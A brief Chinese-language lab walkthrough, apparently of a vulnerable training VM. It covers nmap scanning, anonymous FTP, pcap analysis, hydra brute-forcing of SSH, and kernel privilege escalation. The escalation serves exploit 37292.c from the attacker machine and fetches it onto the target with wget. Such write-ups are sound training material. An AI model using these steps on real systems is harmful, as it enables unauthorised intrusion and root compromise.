一、nmap扫描
先nmap扫一下靶机开放的端口
nmap --min-rate 10000 -p- 192.168.230.142
再用nmap获取更多的信息
sudo nmap -p- -sS -sV -A 192.168.230.142
可以看到ftp有一个lol.pcap的文件
二、web服务器
里面啥都没有
三、分析lol.pcap
匿名登录ftp然后下载lol.pcap
get lol.pcap
追踪tcp流发现了个啥
追踪eq 2流量发现了sup3rs3cr3tdirlol
尝试在web访问一下这个
下载完运行一下
再去web那看看这个
先看一眼包含密码的文件夹
Ps:真的离谱啊,密码就是Pass.txt不是里面的goodjob·····
保存文件然后用hydra进行爆破
四、提权
ssh登录
uname -a看看系统
然后sudo -l看看,发现不太行
用searchsploit查找系统版本找到相对应的漏洞
开启python的web服务,靶机下载exp
python -m http.server 2333
wget http://192.168.230.141:2333/37292.c
然后编译运行
拿到root